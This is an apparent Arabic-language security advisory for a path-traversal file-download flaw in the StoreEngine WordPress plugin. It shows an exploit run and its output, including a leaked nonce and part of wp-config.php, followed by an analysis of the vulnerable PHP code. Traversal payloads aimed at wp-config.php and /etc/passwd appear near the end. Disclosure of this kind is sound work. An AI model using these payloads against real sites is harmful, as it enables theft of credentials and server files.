
StoreEngine – إضافة ووردبريس قوية للتجارة الإلكترونية للمدفوعات والعضويات والتسويق بالعمولة والمبيعات والمزيد <= 1.4.0 - تنزيل ملفات عشوائي مصرح به (للمشتركين فما فوق)
تحتوي إضافة StoreEngine على ثغرة في ميزة استيراد/تصدير CSV تسمح لأي مستخدم موثق (مشترك، كاتب، محرر، إلخ) بتنزيل ملفات تعسفية من الخادم، بما في ذلك ملفات النظام الحساسة وملفات تهيئة ووردبريس وكود الإضافة. تنشأ الثغرة من عدم وجود تنقية مناسبة للمسار في نقطة النهاية storeengine_csv/file_download والاعتماد فقط على التحقق من nonce للأمان، بينما يتم كشف storeengine_nonce لجميع مستخدمي الواجهة الأمامية عبر JavaScript الخاصة بالإضافة. ملاحظة: تتطلب هذه الثغرة تفعيل إضافة استيراد/تصدير CSV من قبل مسؤول. بمجرد التفعيل، يسمح هذا المزيج لأي مستخدم موثق باستخراج nonce من صفحات الواجهة الأمامية واستخدامه لتنزيل أي ملف على الخادم عبر هجمات اجتياز المسار، مما يمنح مستخدمي المشترك+ صلاحية الوصول إلى ملفات النظام والتطبيق الحساسة.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
تسجيل الدخول إلى: http://localhost:1337/wp-admin
ملاحظة: يعمل هذا الاستغلال مع أي مستخدم موثق (مشترك، كاتب، محرر، إلخ)
جارٍ استخراج nonce من نصوص الواجهة الأمامية (يمكن لأي مستخدم الوصول إليها)...
storeengine_nonce: 82cb37f678
ملاحظة: يتم كشف هذا nonce لجميع مستخدمي الواجهة الأمامية، مما يجعل الثغرة قابلة للاستغلال من قبل أي مستخدم موثق!
ملاحظة: يجب تفعيل إضافة استيراد/تصدير CSV من قبل مسؤول قبل الاستغلال.
يوضح هذا الاستغلال الثغرة بمجرد تفعيل الإضافة بالفعل.
يتطلب تفعيل الإضافة صلاحية `manage_options` (مسؤول فقط).
جارٍ تنزيل wp-config.php عبر اجتياز المسار...
<?php
/**
* التهيئة الأساسية لووردبريس
*
* يستخدم نص إنشاء wp-config.php هذا الملف أثناء التثبيت.
* لا تحتاج إلى استخدام الموقع، يمكنك نسخ هذا الملف إلى "wp-config.php"
* وملء القيم.
*
* يحتوي هذا الملف على التهيئات التالية:
*
* * إعدادات قاعدة البيانات
* * المفاتيح السرية
...
...
...
ملاحظة: تتطلب هذه الثغرة تفعيل إضافة استيراد/تصدير CSV من قبل مسؤول. يتطلب نقطة نهاية تفعيل الإضافة (storeengine/saved_addon_status) صلاحية manage_options، مما يعني أن المسؤولين فقط يمكنهم تفعيل هذه الوظيفة.
يستدعي إجراء AJAX storeengine_csv/file_download الوظيفة file_download() في السطر 47 من /wp-content/plugins/storeengine/addons/csv/ajax/export.php، والتي تفتقر إلى تنقية مناسبة للمسار وتسمح بتنزيل ملفات تعسفية:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE TO PATH TRAVERSAL!
// NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
// NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- READS AND OUTPUTS ANY FILE!
exit;
}
يسمح بناء المسار المعرض للخطر باجتياز كامل للمسار:
// Helper::get_upload_dir() تُرجع:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// لذا يصبح المسار الكامل:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// مع اجتياز المسار، يصبح هذا:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
يتم كشف storeengine_nonce لجميع مستخدمي الواجهة الأمامية عبر JavaScript الخاصة بالإضافة. يحدث هذا في طريقة _get_script_data() في السطر 279 من /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... بيانات أخرى ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // السطر 279 - مكشوف لجميع المستخدمين
'rest_url' => esc_url_raw( rest_url() ),
// ... بيانات أخرى ...
];
}
ثم يتم توطين هذا nonce في JavaScript الواجهة الأمامية عبر طريقة frontend_scripts() في السطر 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // تستدعي _get_script_data()
);
يتم التحقق من nonce في طريقة AbstractRequestHandler::check_permission() في السطر 510 من /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
يسمح هذا المزيج لأي مستخدم موثق بتجاوز حماية CSRF وتنزيل أي ملف على الخادم، بما في ذلك ملفات التهيئة الحساسة وكود المصدر وملفات النظام المحتملة.
/wp-admin/admin-ajax.php يستدعي إجراء storeengine_csv/file_download.filename=../../../../wp-config.php لتنزيل ملف تهيئة ووردبريس.